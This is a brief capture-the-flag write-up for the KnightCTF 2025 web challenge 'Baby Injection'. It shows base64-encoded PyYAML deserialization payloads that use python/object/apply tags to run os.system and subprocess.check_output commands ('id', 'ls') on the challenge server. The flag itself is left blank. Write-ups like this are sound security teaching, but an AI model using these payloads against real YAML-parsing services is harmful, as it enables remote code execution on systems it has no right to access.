name : Baby Injection

Author : badhacker0x1

Des : Sometimes, seemingly harmless configuration files can do more than they appear. Can you uncover a hidden flaw and turn it to your advantage?

Solve :
enter the url :
http://172.105.121.246:5990/

First :
see the endpoint base64 !!


and decrypt it :

secoun :
try yaml Injection

```
yaml: !!python/object/apply:os.system ["id"]
```
to base64
```
eWFtbDogISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbSBbImlkIl0=
```

Ok !! try to see srting

```
yaml: !!python/object/apply:subprocess.check_output [["id"]]
```
to base64

```
eWFtbDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0IFtbImlkIl1d
```


Ok Done !!!

try :
```
yaml: !!python/object/apply:subprocess.check_output [["ls"]]
```
to Base64 :
```
eWFtbDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0IFtbImxzIl1d
```
and the flag is :


Original writeup (https://github.com/rxx2me/CTFs-Writeups/blob/main/KnightCTF%202025/web/Baby%20Injection/README.md).